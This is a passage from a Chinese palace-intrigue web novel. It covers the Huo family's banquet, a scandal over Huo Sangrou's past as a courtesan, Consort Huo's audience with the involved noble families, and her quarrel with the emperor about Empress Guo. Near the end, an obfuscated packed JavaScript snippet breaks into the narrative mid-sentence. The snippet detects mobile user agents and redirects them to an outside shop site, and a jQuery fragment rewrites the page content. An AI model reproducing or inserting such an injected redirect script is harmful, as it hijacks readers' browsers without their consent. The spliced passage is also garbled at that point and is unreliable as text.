“你们觉得佟家把出嫁女和霍振羽都攥在手心里,难道霍家眼瞎吗?”没有咄咄逼人,晏霁之语调很平淡,只是仍藏不住锋锐:“霍家看不懂霍振羽能被母亲和外祖家蛊惑得连把霍家搬空送给佟家都做得出来么,试问霍家为何要管这种儿孙的死活? 假若我是霍振羽的德行,佟梦娴十五六年前就能坟头长草,我立得住才给她保命至今,晏霍两家若连这点决断都没有还能鼎盛?你怕晏墉和霍漓江娶不到媳妇少儿女吗?” 佟梦佶抬头望天哈哈大笑,笑得眼眶猩红眼泪横流,笑得比吃到最苦的黄连还苦…… “以己度人,佟图匡是真的可笑,他在做什么白日梦呀?他自己都没多少在意女儿们,偏要觉得他女儿的婆家应该把他女儿视若珍宝;他根本不在意外孙的死活,偏偏认为他的外孙们应该是各自家中的心头肉;他自己冷情狠绝,竟然偏要觉得姻亲们悲天悯人。” 晏霁之话音落地,佟梦佶拿衣袖擦擦眼再拿手抹把脸,悲怆而压抑:“你何时动手?” “预计七月。”晏霁之涌起丝感慨,善意提醒:“小舅还年轻,你能引以为鉴吸取教训,你肯脚踏实地以诚相待,你的路会还很长,你不必担心余生没有美满。” 佟梦佶怔住,忽然间五味杂陈百感交集地注视他,晏霁之或许真的情殇重,以往再和颜悦色也掩不住的高傲都仿佛被磨掉了,整个儿气质就像温润的暖玉:“佟图匡对我狠,我对他狠;外祖也曾真心疼爱过我,我给他留存希冀,很公道。” “我……”佟梦佶眼酸又很想笑,他竟然想对毁掉他家的外甥说:“霁之,谢谢你。” “茂县路远,小舅走好。”晏霁之始终没有露出一丝笑意,何况他整个人的憔悴病容,佟梦佶终是忍不住规劝:“记得那天宫宴上,贵妃还曾言霁之情深终自伤,我看得明白你有多痛苦煎熬,可你再悲痛、流光姨娘也不会再回来了,你趁早忘怀对你们才都好。” 晏霁之垂眸:“我有数。” 两日后清晨,佟梦佶携妻小奔赴茂县,佟尚书佟图匡在城门前目送幼子远行,曾经的老当益壮在此刻只剩哀恸苦涩染满他的老年斑和衰老耷拉的皮肉。他独站许久后步履蹒跚离去,刚回到家就头昏脑热发烧病倒了,向衙门告了病假,顺势也就没去霍家喝周岁酒。 74. 第74章 霍家这场周岁宴还真是有热闹看,热闹得当家人们出乎意料了。 佟尚书卧病不能来喝亲外孙嫡长子的周岁酒很正常,佟老太太带儿孙们来赴宴最多刺刺霍家再被长舌的官眷们挑唆挑唆而绝不会砸场,真正险些闹出热闹的是霍桑柔。 需知霍桑柔在撷芳馆做行首莫欢时可没做清倌儿,她自愿的,非但是她自愿还是她自己强硬争取来的;她入风尘做花魁就是想打探仇家,做半吊子能打探到什么秘密? 她姐姐拗不过就给她限定范围死卡住:第一必须是二十五岁以下的男人,第二必须按月算即想点莫欢伴宿必须包整月,因此霍桑柔在撷芳馆一年多只接待过三位客人过夜。 偏偏好死不死的,有位对她真喜欢,趁这场周岁宴特意潜进霍家后院找她来了;要命的是这位是平原大长公主和显国公的小儿子薛述嘉,还被媳妇把他和霍桑柔给逮住了。 “我愿意纳桑柔做贵妾,你们把我爹娘叫来我也是这话,原本我就想我成婚满一年就给莫欢赎身纳她进门。”薛述嘉和霍桑柔同岁,比亲哥薛述聪小七八岁;他是莫欢梳弄伴宿的第一位客人,此后更包过莫欢好几月,因大半年前他要娶妻才暂时断了。 霍巨浪很想说我们家不愿意,委婉道:“你爹娘你媳妇你岳家都不愿意的,你何苦?” “当然是我喜欢她,薄光曦和喻自蹊俩混蛋趁我不备包下莫欢时我都找他们打架了。”薛述嘉算承诺道:“我爹娘不乐意没妨碍的,我会对桑柔好,她在薛家不会受欺负。” “我祖母和二叔还有贵妃应该也都不愿意。”霍巨浪想委婉都不行,薛述嘉借驴上坡:“既然你不反对那你帮帮忙,好歹算你做堂哥的心意,桑柔跟我肯定是最好的。” 霍巨浪默默呼吸下跟他挑明:“霍家会给桑柔找个真心愿意娶她的人家,若是找不到,哥哥们养她到老亦无妨;等把你爹或你哥叫来了,你就乖乖回家吧,别再瞎想了。” 薛述嘉当耳旁风般得再提个瞎想的要求:“我要见桑柔。” 你可真有脸当人家家里里人的面明目张胆想找抽,霍巨浪真想直接把他轰走。 霍桑柔正要找糟老头祖父抗议呢,幸好霍家的规矩不死板,她要找,奴婢们就放行了。一见到最能做主的祖父,她就嚷:“她们非得逼我多熬俩月,要六月甚至七月才能带我进宫,凭什么?我不服我就要四月进宫看我姐,你不答应,我就把霍家拆了。” “四月选秀,五月蓁蓁及笄,六月酷暑,陛下可能会陪圣人出京避暑,要选嫔妃跟随。”这孙女可真不像对薛述嘉有啥男女情,被逮住后竟然想的是害她不能进宫见姐姐。 霍擎老太爷柱拐杖走到树荫下的太师椅坐,还算好说话:“不知道京畿的长舌妇多吗?你就那么想在你被议论得沸沸扬扬时跑到人前出风头?霍家经得住,你想过贵妃吗?” “可让我再熬俩月,我就有三月多都没见过我姐了,我从来都没隔那么久不见姐姐。”霍桑柔语调闷闷俏脸蔫巴差不多默认了,霍擎老太爷从果盘里拿俩桃子塞给孙女,随口道:“祖父叫你爹请奏让贵妃省亲,陛下若能应允,你就能见到姐姐了。” “真的?”霍桑柔眼前发亮笑逐颜开但可不会谢,注意到被塞在手里的粉嫩嫩的蜜桃,怪道:“今年水蜜桃这样早熟吗?为什么没给我和小祐送过,一篮桃子你们还要抠吗?” “果子行的桃子还得晚一两月,这是皇家的温汤监培育的鲜果,是太后赏赐,就四篮。”霍擎呵呵笑道:“贵妃在皇宫里都还领不到呢,生养过的嫔妃都能排在贵妃前头;一旬前是轮不到温汤监培育的鲜果,五天前就轮到贵妃的宫装被洗破了。 前两天江南进贡五百匹雪缎,三百匹送往太微宫孝敬给太上皇;余下二百匹,陛下孝敬太后五十匹,赏赐给皇后十匹贵妃六匹,哪想到啊,尚服局的内侍竟敢公然把该交给贵妃的六匹雪缎转送给生养过的两个嫔妃。” 霍桑柔忽就觉得手发烫而脸颊像被打巴掌,强忍住才没叫嚣:“我姐在宫里被欺负?” “太上皇留在皇宫中的太妃们有几个真闲得慌啊,非得挑唆皇后针对贵妃,要让宫里闹出点事来热闹热闹。”霍擎忽悠单蠢的孙女:“皇后敢命令内侍们公然违背圣意自然有对策,若贵妃闹到陛下面前,皇后就会污蔑成是贵妃体恤年幼的皇子公主,主动相让。 届时就会变成贵妃出尔反尔诚心闹事,这是想逼贵妃受委屈也只能忍,否则就会平白惹身臊还不得不咽下哑巴亏。事情刁钻就刁钻在还没到能让太后和霍家出面的地步,不然就是太后手伸太长、霍家没有人臣本份,反而要惹皇帝不快,只能委屈贵妃,桑柔懂不?” 霍桑柔紧紧握着鲜桃,愤怒憋屈难受像团火烧在心头烧得她眼圈都红了,霍擎再推把:“祖父已经让雄鹰进宫把薛家这娃的事禀告贵妃,倘若贵妃想亲自传召显国公谈谈,少不得又要被那群太妃和皇后做文章,娘娘在宫里步履艰难不好过啊。” 话外音很明晰,够让霍桑柔听得清楚,她眼眶红润,死死咬咬唇瓣就跑,跑到院门前遇见堂兄霍海啸只当没看见继续闷头跑。霍海啸凝视稍许跑远的身影,收回视线进院,走到树荫前对祖父说:“五妹哭着跑的,薛述嘉还想扑腾,恐怕他俩真能闹出点事情来。” “瞎想啥呀,祖父刚跟娃娃说贵妃在宫里被皇后欺负,过得很难,娃在为姐姐难过。” 小厮搬只锦凳来给世子爷后就退下,霍海啸深呼吸把刚被他想当然误以为的闲事放开,跨过步落座。又有小厮过来奉茶,奉过茶盏即告退,没给五姑娘奉茶是老太爷没吩咐,而老爷们和四位少爷若过来,向来是默认不需老太爷吩咐就备茶水。 “宾客们除了佟家和英王妃还有薛述嘉夫妻之外都已离府,桑柔和薛述嘉的事瞒不住,霍佟氏告诉娘家和长姐后不用两三日就能被他们传遍,官眷里传遍了,建威侯府添油加醋传进坊间恐怕什么颠倒黑白的流言都能传出来。”霍海啸说,霍擎瞟瞟长孙:“有火啊?” “椒房殿百名宫婢没有八十也有五十名眼线,贵妃进宫前,皇后在宫里有威势吗,现在郭皇后竟然能欺压到霍贵妃头上,我都不敢相信灵儿在宫里竟然能被欺负?!” 霍海啸当然有火:“到底谁在纵容,皇宫里近期盛传霍家死期不远矣就能令宫人们见风使舵转夜间倒向郭皇后吗?何况是在霍太后的眼皮底下,这群宫人都活腻了吗?” “陛下的贴身内监以前最会示好令愔夫人,霍家要抢后位以来,蒋内监反而讨好皇后,他脑瓜昏掉了吗?当然没有,皇帝至今没冷落过皇后,郭皇后若被迫辞位,几人不想陛下对原配媳妇该有多深的愧疚,大皇子占着嫡长名份又是最名正言顺的储君之选。” 霍擎老太爷最近心弦绷紧又攒着憋火令他比往常严肃不少:“皇帝还立威把嚣张的平原大长公主压倒了,宫里适时流传霍家死期不远,这样看,郭皇后将来有大前程吗?” “我霍家到底还没倒吧,霍太后要杖毙宫人可以吧。”霍海啸冷嗤:“他亲自安排的宫人若是没他纵容敢欺负贵妃吗?他嫌灵渠已非清白身就还给霍家,没人要赖给他。” “霍贵妃新封,霍家还烈火烹油时,皇帝放纵郭皇后欺压霍贵妃图啥呢,图发泄被霍家欺压的憋屈吗?图让他和养母起冲突还是图让霍家反击损他的帝王尊严?”霍擎老眼深沉:“祖父觉得最有可能的,皇帝推波助澜是想趁机就此冷落掉皇后。” “冷落?”霍海啸微愣,被怒火煽偏的理智逐渐冷静:“您是指皇帝故意想闹大?” 明媚的光照穿梭过树缝隙遗落点点光斑,霍擎老脸隐在树荫下忽明忽暗:“皇帝能忍几个太妃在他背后煽风点火挑唆是非吗?可一点不痛不痒的小事,他能如何处置? 再有,朝堂会相信郭皇后能欺压霍贵妃吗?可这些天皇宫里明摆着。朝堂宫廷看好郭氏有大前程的人不少啊,皇帝若是无意就需要契机叫所有认为他对原配饱含愧意的人看清楚;但陛下这回出手不似他对郭皇后向来宽厚的作风啊,祖父总觉得有点怪。” 霍海啸皱眉:“怪?”他思量道:“陛下能费心思帮皇后找出路自是很情义,照此理他应该制止郭皇后而非推波助澜;若把事情闹大了,他莫非想让霍家踩掉郭皇后的体面吗?”他忽然惊诧:“如此,难道皇帝想趁机厌弃掉郭皇后吗?这可等同什么情分都没了。” “是啊,但宝儿考虑得有道理的,皇帝对媳妇应该是真有情,不然能如此宽容皇后?”霍擎隐藏锋锐的幽深目光凝住:“这样有情义能突然全没了、还闹到要厌弃的份上?” 午后的骄阳暖而烈,阳光直射倾泻在树梢顶仿佛有微风般照得迎光树叶像在轻轻晃动;炫目的光辉照得枝繁叶茂的绿意犹似披金,落就点点光斑的树荫下却格外清凉舒适。 穆国公的长随到薛家请家长,薛述嘉他爹和他哥都不在,他嫂嫂乐邑长公主在家,了解情况后派管事去把驸马爷必须叫回来;等到丈夫,再和薛述聪同往霍家接人。 一路上在马车里,乐邑基本要笑不笑似笑非笑地抱胸拿眼睨丈夫,那意思就是:你们哥俩可真是同个爹娘的亲兄弟;这股劲儿劲儿的,薛述聪宁可面向车壁都不想理她。 抵达霍家,见到被扣押的倒霉弟弟,薛述聪刚向霍巨浪表明态度,这弟弟就跳出来拆台:“我要纳桑柔做贵妾,我不是真心喜欢、我用得着费劲溜进霍家后院找人吗?” 薛述聪和霍巨浪同时转头瞩目,霍巨浪想难怪姓薛的会来喝顿周岁酒;薛述聪想难怪他家本想送份礼就算的偏这混账弟弟提出愿意赴霍家喝顿周岁酒,合着真早有预谋啊。 在协商的两位被打断下后很顺畅得忽略他,薛述聪明确好他家的态度就领倒霉弟弟走。 薛述嘉边走边观察前后,揪准时机箭步蹿出再溜,搞得薛述聪和霍巨浪真嫌糟心;还好这憨货没跑多远,霍雄鹰往这边过来,没有悬念地拦住了他没再惹出热闹来。 “贵妃已经派内侍传召显国公带你进宫。”霍雄鹰嫌得溢于言表:“你就乖乖滚吧。” “好!”薛述嘉放豪言:“我就和贵妃谈,我就不信贵妃能像你们似的不想桑柔好。” 霍雄鹰翻起俩白眼送给他,霍巨浪突然觉得他的倒霉弟弟顺眼懂事多了,薛述聪捏捏眉心想他还是也跟着吧,省得这混账弟弟还没回到家就被父亲抽。在霍府前和各自媳妇会合,乐邑长公主得知薛述聪竟想跑关雎宫凑凑热闹,冷笑声,毫不迟疑就要跟着。 虽然薛述嘉敢放豪言,也还会担心他还没和贵妃交涉就可能被他爹提前掐灭,故而央求哥哥帮他隐瞒老爹免得他都没有和贵妃交涉的机会。薛述聪被弟弟闹两遍,心软就答应了;反正闹到贵妃面前也翻不出水花来,这倒霉弟弟想再扑腾两下就扑腾吧。 薛家的马车刚驶走,前后脚的工夫,一名内监赶到传霍贵妃话,请穆国公即刻进宫。 穆国公霍秦川原以为贵妃想让他压场,跨进关雎宫正殿门槛发现魏王、英王、班丞相和户部周尚书都在,瞟瞟殿内没有侄女的身影和伺候的宫婢,问他们怎么在这儿? “贵妃娘娘派宫人来说有要事相商,已禀明陛下,贵妃还请了显国公夫妇、薄尚书夫妇和文郯侯夫妇,人到齐再谈。”班丞相觉得诡异:“穆国公,娘娘要商量什么事啊?” “咳咳!”贵妃想把事情闹大呀,霍秦川虚虚笑笑调侃魏王:“魏王殿下应该清楚吧?”他就不信霍桑柔在撷芳馆时能和这样的三人好过会没有魏王的手笔? 魏王斜睨他眼,站起来甩袖往外走,懒得再和群老头闷在同座殿里。走到庭前,叫个小宫娥问问霍贵妃现在何处,得知贵妃仍然还在寝殿;打发掉宫女,他再思量思量吧。 不多时,薄尚书和文郯侯相继带家眷到来,瞧着关雎宫的阵仗还真有点摸不出门道。他两家莫名心虚的俩小辈来前都猜过贵妃可能想找他们,这会儿都有点不确定了,但薄光曦和喻自蹊彼此互看绝对不顺眼,视线交锋,薄光曦冷哼声甩开眼。 薄光曦比霍桑柔小一岁还未满十八岁,有些同龄人都做爹了,他是还没娶媳妇。 喻自蹊是宫中喻秀仪的同母哥哥,年二十二,是文郯侯的第四子。被前未婚妻退亲后,他于正徽二年娶妻;曾经被退亲的屈辱还有多深也不至于但彻底忘怀也没可能,他会包莫欢的确是因莫欢和霍鹣娇有一二分像,但真的想不到能扯出这种纠葛,他都嫌尴尬了。 显国公带家眷最后到,但平原大长公主没来;他进殿见霍秦川对他幸灾乐祸,乐哉回敬:“听说贵妃把陛下赏赐的六匹雪缎转赠给令愔夫人和杭婕妤,贵妃好雅量啊。” 薛述聪郁闷他心软帮倒霉弟弟瞒把,闹得他爹攻击错方向了;乐邑淡定看戏,薛述嘉见那俩混蛋都在,忙着和他们眼神斗得火花四溅。喻自蹊率先退场想向父亲和嫡母交代,贵妃把他们三个都聚起来肯定要训话,可还没来得及,殿外的内监就通报霍贵妃到了。 “显国公,可要坚持住。”霍秦川憋笑,班丞相冷眼旁观直觉有诡,显国公压根儿没听懂但不重要给他记笔账再回敬就是;弹弹官袍暂且放开,作揖施礼给贵妃请安。 霍灵渠柔顺乌黑的秀发绾做双刀髻,鬓间粉里透红的粉玉雕琢缀以红宝石流苏的海棠步摇在轻微晃动中似有红辉游曳,她一袭蜜粉色织金缎宫裙款款走过,身后跟着喻秀仪。 喻秀仪收到霍贵妃传召文郯侯夫妇进宫的消息焉能不过来?她不在意贵妃摆多大阵仗,唯独真意外贵妃的美貌,难怪眼高于顶如令愔夫人都会叹服贵妃让后宫粉黛无颜色。 霍灵渠走到主位落座刚吩咐免礼,下瞬,殿外响起内监嘹亮的高喊:陛下驾到! 正徽帝嬴忱璧大步流星走来,迈进门槛直径走到主位落座,示意接驾的众人免礼都坐,再含笑问贵妃这般兴师动众是有何事啊?霍灵渠说:“陛下让内侍们都退下吧。” 皇帝笑应好,摆摆手,御前总管蒋厚运带殿内众宫婢告退,贵妃目送他们消失在视野,切进正题:“请你们带小辈来的三位大人都清楚怎么回事了吧?” 都清楚的小辈们死活也不可能在此刻提醒,皇帝瞥眼穆国公,霍秦川实在提示不了啊。显国公和他们对视两眼,由薄尚书出面:“臣等愚钝,请贵妃娘娘明示。” “我妹妹霍桑柔曾是撷芳馆行首莫欢,三位大人家的小辈都和莫欢有过鱼水之欢。” 还轻松的殿内当场尴尬萦绕,喻秀仪沉稳端持的俏颜险些没绷住;英王晏墉默默松气,和他家混账没关系就好;班丞相想果然有诡异,难道贵妃是叫他来白白看戏的吗? 显国公可算知道霍秦川幸灾乐祸还说什么坚持住是何意了,混账东西事到临头竟还敢瞒。霍秦川可瞧着周尚书有点悲催啊,显国公户部左侍郎、文郯侯户部右侍郎,他这顶头上司摊到两位侍郎被缠上这种糟心纠葛以后得多尴尬啊,魏王绝对是故意的。 文郯侯夫人年五十面相显刻板,在贵妃揭晓前就隐约有数了。喻自蹊的生母妡姨娘得宠能比穆国公的娉姨娘,她见过那位娉姨娘,狂妄浅薄,难怪穆国公夫人根本不看在眼里;她家的妡姨娘可是绵里藏针面面俱到的,她少不得就得对这庶子多费心关注些。 此间最尴尬当属薄尚书夫妇,薄尚书老脸羞煞都接不住话,嬴忱璧轻咳:“贵妃?” 贵妃善解人意:“陛下,这座殿里年纪最小的薄家弟弟童贞都给我家桑柔了,您放心。” 薄尚书猛然手抖,薄老夫人浑身抖激灵,班丞相都想替薄尚书捂脸了,贵妃也太狠了。穆国公霍秦川憋住不能喷笑,他觉得魏王忒不厚道啊,竟然祸害这样幼嫩的小崽崽。 被嘲笑的小崽崽薄光曦白脸慢腾腾涨通红,贵妃祭出童贞的大旗叫他怎么扛得住呀? 薛述嘉瞧他这死样懒得鄙视了,霍灵渠打破尴尬:“本宫请诸位的用意都猜出来了吧。” 牵涉其中的众家长有猜疑都不想揽事,薛述嘉冒头:“贵妃,我愿意纳桑柔做贵妾。” 殿内除他哥嫂外的众位纷纷瞩目,显国公冷不防被噎几乎想踹这混账,穆国公霍秦川都有点好奇魏王咋样给他们配对的,被好奇的魏王都有点意外薛述嘉竟然想动真格。 霍灵渠笑意打趣:“薛家弟弟与侯瞻渥可是亲表兄弟,你不觉得尴尬吗?但你们和侯瞻渥还真有缘,曾经拥有过的女人都用过桑柔的名字,而且四人凑桌能打麻将了。” “我不觉得尴尬,他要是尴尬那我也没办法。”薛述嘉自荐道:“贵妃,我真喜欢桑柔,您就同意让桑柔跟我吧;您放心我会对桑柔好,桑柔在薛家不会受欺负。” 显国公忍住,由着这混账瞎撞撞;霍灵渠愿意相信,可相信又能如何:“喜欢就忘了吧,倘若霍家追查到当年阴谋的主谋是你姐姐的婆母,你的喜欢对你自己都是种残忍。” 殿内多位包括显国公和乐邑长公主闻言都平静,乐邑长公主嬴纤若真没多少在意,就算霍家和晋王结死仇,和薛家到底隔着呢,她这公爹哪可能会豁出身家性命帮女婿。 相比父亲和媳妇的平淡,薛述聪对此事真有些烦闷,薛述嘉更立时变脸,他按住忐忑的心绪反驳:“可、可贵妃你不能凭空猜测就要掐断我和桑柔吧。” “本宫是想我非清白身做贵妃都能想晋位,我妹妹难道不能嫁做正妻?”霍灵渠扬眉:“薄尚书说对吧?您可切莫出宫就给长孙相看定亲,好似您防着我、我想赖着您家。” 薛述嘉还想挣扎被他爹制住,薄尚书恢复过来恭敬接话:“禀贵妃,家中孙儿还稚嫩,老臣打算再磨两年等光曦考过下届科举后再给他相看议亲。” “本宫听闻您家长孙出生时您看天朗气清就想给长孙取名叫晴朗,可您家姓薄呀,薄晴朗听起来多像薄情郎;您夫人坚决不同意,您才作罢;光曦取晨光微曦之意,寓意好。” 霍灵渠笑得意味深长故意吓唬:“本宫就祝老大人您家的光曦不是个薄情郎吧。” 薄尚书颔首谢贵妃美意,薄老夫人也起身谢贵妃美意,头痛想霍家可别真有什么想法;他们家光曦倒被没吓住,他和莫欢处得挺开心的,让他娶霍桑柔也没多排斥吧。 都猜到贵妃接下来要点文郯侯家,果然就听贵妃说:“侯爷,您家自蹊会和莫欢好不会与前未婚妻有关吧?本宫和喻秀仪同为陛下的嫔妃,这关系都让本宫有点吃不消了。” “陛下、娘娘容禀,老臣家的自蹊是个不成器的,惯来爱寻花问柳,未想他因此和霍五姑娘结识损及霍五姑娘闺誉,老臣管教无方只得舔脸请娘娘息怒。”文郯侯现年五十二岁,喻自蹊是他而立之年得的儿子,一直很疼爱,闹出这种糟心事,他也没想训儿子。 大家都清楚他肯定只能给这种回复,霍灵渠配合:“还好,不然本宫真嫌尴尬呀。” 看戏的乐邑长公主心里吐槽:我看你个厚脸皮的可不嫌尴尬;喻秀仪腹诽她也嫌尴尬,对阵霍鹣娇,她从未退怯过,但对贵妃?她想她还是绕道走吧。 穆国公霍秦川心说他都嫌尴尬,魏王简直恶毒;显国公斜瞟眼魏王,憋屈忍这破事;班丞相看得隐晦些,不得不感叹这糟心程度忒狠,若说魏王不是故意的都没人信。 这糟心程度有多糟呢,还行,就是喻自蹊想出京避避风头,薄光曦被爆出童贞的尴尬、薛述嘉纳妾心愿未遂的憋闷都能暂且抛到脑后转而专注嘲笑那倒霉蛋。 须发花白的户部尚书比文郯侯年长十岁,坐到现在都像置身事外,心里还是有掂量的,他恐怕陛下未必没点膈应啊。无独有偶,文郯侯夫人也猜测这堆糟心关系让皇帝膈应,她瞧丈夫像根本没顾念到陛下会有膈应,心底不动声色笑,她家这庶女还想出头? 薄尚书猜贵妃的用意,难道只是敲打他们?但也不需他猜测思量,贵妃就主动公布了:“本宫原不想叨扰诸位,奈何京畿的流言传唱起来委实肆无忌惮活像要把人逼死。 看看城中对霍贵妃肆意谈论闹得沸沸扬扬至今没消停,这还是有皇帝的君威压着呢。众口铄金积毁销骨,流言传得多就容易传得面目全非无中生有;若是传出些不堪入耳的谣言,我家桑柔哪能经得住?故此,本宫特意请诸位来帮个忙。” 京畿百姓能对霍贵妃议论得满城风雨至今没有消停全赖建威侯府推动,再来个霍桑柔,建威侯府当然会如法炮制,显国公心里笑,贵妃挖坑挖得妙啊。班丞相他们也感叹,贵妃这招当真恰到好处;穆国公霍秦川顿时好受多了,就该拉着他们一起担嘛。 霍灵渠撩撩裙摆站起来,绝美的容颜染满沉肃:“霍桑柔就是莫欢定然瞒不住,本宫也不可能禁止百姓议论,但坊间传闻不能捏造。本宫想请诸位齐心把控住,莫让民间传出任何颠倒黑白造谣诋毁的谣言;但凡有谣言传到我耳中,休怪我要找你们麻烦。 特别是薄尚书、显国公、文郯侯你们三位,本宫想我爱护妹妹的心和你们疼爱儿孙的心都是相同的,我们都不想自家孩子被任何谣言污蔑中伤;人言可畏,城里这股闲言碎语动辄就闹得沸反盈天的歪风也该治治了,莫让本宫失望,能否?” 贵妃站起后,除皇帝和魏王岿然不动,其他人尽数都站起来了;对于贵妃的交代,各位大人看眼皇帝,弯腰作揖同声应承:“老臣自当竭尽全力,陛下、娘娘宽心。” 魏王向贵妃点点头表示答应,霍灵渠还礼致谢再道:“那就有劳诸位了,散了吧。” 他们看向皇帝,嬴忱璧示意大家都散吧,众位老臣再告退;魏王走得最利索,薛述嘉想挣扎再交涉再再被老爹制住拖拽走;班丞相觉得有点意外,贵妃竟然没啥诡异企图。 喻秀仪随众而出走在最后,她退到殿外离开,富丽的殿阁内就只剩皇帝和霍贵妃两人。 正徽帝嬴忱璧凝视十余日未见的贵妃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13459266|141656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,刚想说话,霍灵渠抢前扔句‘请陛下随臣妾来’就往殿外走,走得脚底生风更把皇帝的啰嗦当做耳旁风全然不理;一路疾步回到寝殿,把守在寝殿前的宫女全部遣退,进到寝殿里后端杯茶给皇帝:“陛下尝尝吧。” 嬴忱璧碰两回软钉也猜到情况了,接过茶盅抿口凉茶尝到苦涩,他沉默两瞬放掉茶盅,垂眸自嘲:“我以为关雎宫应该没有宫人再敢轻慢贵妃,是朕不该忘记劣根难除。” “事不过三,臣妾向陛下提过两回都没用也懒得再费心思,可我一忍再忍——”霍灵渠话未尽突然被皇帝打断,嬴忱璧向屏风指指,她愣了愣,有宫婢敢私闯贵妃的寝殿? 嬴忱璧示意贵妃站定别动,他放轻脚步往刚察觉到有细微响动的方向走,刚绕过九扇紫檀边座嵌琉璃玉石屏风就看到个宫女挤靠着屏风想努力偷听。 皇帝怒极而笑,屈起手指敲敲,在偷窥的宫娥循声望去,见陛下竟突然出现,吓得头脑空白心肝胆颤忙不迭跪下,好在她稳得住,短瞬惊慌失措后就稳住心神给自己辩白。 “启禀陛下,贵妃走前吩咐奴婢洒蔷薇水增增香薰味儿;奴婢刚刚本想出来请安,只是陛下和娘娘正在说话,奴婢不敢打扰只能候在内室,奴婢绝没有偷听,请陛下明鉴。” 可惜皇帝没有想被当傻瓜糊弄的意思:“把偷盗的财宝拿出来,朕可以当做没看到你;若再狡辩,朕只能传令内监来搜身再把你投入掖庭狱,你今后都不必来见朕了。” 偷溜进殿的宫婢狠狠心,跪地嘭嘭嘭磕三个响头喊过请陛下恕罪后掏出两支金簪呈上。皇帝扫视眼,语调转厉:“朕没那么多耐心,你若是嫌活腻了,朕可即刻传令杖毙。” 敢偷盗贵妃财宝的宫婢到底不敢试探皇帝的耐心和威严,哆哆嗦嗦地把偷拿的金银珠宝首饰全部掏出来,等过片刻,陛下都没吩咐,连忙告退。 皇帝注视那堆珠宝仿佛看得失神了,贵妃走到他身边他都没回神。霍灵渠真觉得好笑:“原来守在寝殿外的那些宫女都是串通好的,管事太监和掌事姑姑们不可能不知道吧。 原来晌午给贵妃备苦茶是试探啊,霍贵妃连杯苦涩的茶都能忍还需顾忌什么,是吗?我懒得和宫人费心思计较在他们看来就是窝囊好欺负是吧?倘若我再忍让,他们还有什么事情做不出?臣妾真好奇,陛下您是多恨霍家啊拿这种上不得台面的伎俩糟践霍贵妃?” 正徽帝嬴忱璧犹如突然回魂般大步走向寝殿里各个能藏人之处查探,细细检查过,确定寝殿里再没旁人之后走到贵妃面前,歉疚道:“贵妃近期被针对是皇后授意的,朕没有制止看在宫人们眼中就是默认,他们才这样肆无忌惮;朕想试试皇后,委屈贵妃了。” 霍灵渠讥笑声走到梳妆台前坐下,嬴忱璧不在意地笑笑:“皇后欺软怕硬,朕想试试她敢不敢把事情闹大。”话到此,皇帝笑意敛尽,眼底冷意乍现:“一年了,朕都想不好如何对待她生的儿女,朕想要么就让郭氏帮朕做个决断吧。” “你都已经不打算再对嫡长皇子寄予厚望,你还要做什么决断?”霍灵渠讽刺,嬴忱璧转身走几步走到梳妆台前,面对镜中贵妃的美丽影像,轻描淡写抛出:“出继!” 霍灵渠僵住,慢半拍念念出继,站立起来直视皇帝,提醒道:“陛下的笑话不好笑。” “贵妃可知道人的想法有多奇妙?愿意包容时全然不在意,膈应时连一眼都不想看。”正徽帝嬴忱璧拉起贵妃的纤手,丹凤眼中迸射着深恶痛绝的厉和隐忍的怒:“贵妃瞧瞧,你宽厚忍让被视作好欺负,朕对皇后宽容换来的难道是感恩吗? 我最近反思我对她到底有多宽厚,我得出个结论,我竟像个笑话。莫说看儿女的情面,她生的儿女,我都不想要了;她自己都不在意她亲生的儿女,我何必替她在意。” 霍灵渠想抽出手反被握更紧,烦恼反驳:“郭皇后怎会不在意自己的亲生儿女?” “贵妃可还记得朕猜测过郭氏会耐不住寂寞经不住诱惑而羞辱朕。”嬴忱璧笑意渗人:“朕可没有污蔑她,她做得出,贵妃试想但凡她顾念她的亲骨肉还能红杏出墙?” 皇帝的经验之谈啊,霍灵渠自然信的,蹙眉猜疑:“她当真没有苦衷吗?” 被背叛羞辱可能唯此恨怒恶,可若对羞辱给予原谅宽容后再遭叛离,爆发的恨和狠可就绝非只是翻倍而已,很可能是难以估量的庞大。嬴忱璧近日就在遭受自己宽容的反噬,他揽住贵妃走向美人榻落座,不顾贵妃的抵抗、强硬将贵妃抱在怀里。 “有,她的苦衷就是朕冷落她害她受寂寞。郭氏是什么秉性,朕告诉过贵妃吧?朕还可以告诉贵妃,她眼中的皇帝丈夫就是个软蛋窝囊废,她稍有不如意就会对丈夫嫌恶。 她甚至巴不得我早早驾崩好给她儿子挪位!她怯懦没胆量弑君而已,可若有谁蛊惑她、帮她出谋划策保管她也能做得出来。贵妃看朕可是疯了,我竟然能对她宽容到今日?!” 霍灵渠看皇帝形容真有点像癫狂,真嫌造孽:“那几年前你又为何愿意再包容她?” “因曾经的杀意。”嬴忱璧闭闭眼,有种难以察觉的悲戚蔓延:“揣测到她可能红杏出墙,她敢做,我断然不能再容她苟活。因此杀意,朕多少有不忍;又想是旁人暗中引诱想害她、她是被带坏的,故而朕总愿意多多宽容。”他倏尔复狠厉:“宽容得让朕像个笑话!” “从未有过出继嫡长子的先例,陛下若想出继嫡长子,朝堂会闹翻的;况且,陛下若将大皇子出继让他将来如何自处?”霍灵渠糟心劝道:“何苦闹得父子成仇?” “贵妃可知道有多少人觉得朕该对他们母子愧意甚深?”嬴忱璧讥诮,还在控范围内的情绪好似山脉深处有滚滚燃烧的岩浆在流淌的火山表层:“什么愧? 这些人都眼瞎看不懂郭氏的品性吗?郭氏若不辞位能有他们母子和建威侯府的活路?册封贵妃的宫宴上,贵妃看到过吧,众目睽睽她都忍不住要嫌恶皇帝,何况她私底下时。倘若是太上皇摊到这种皇后,能容她多活半日都嫌多,可我呢? 我宽容她对皇帝四年的嫌恶,我宽容她盼皇帝早早驾崩的赌咒,我还忧心她把皇帝的宽容耗尽后就是死路而费心给她找活路,我给他们保全富贵荣华,我得到了什么?” 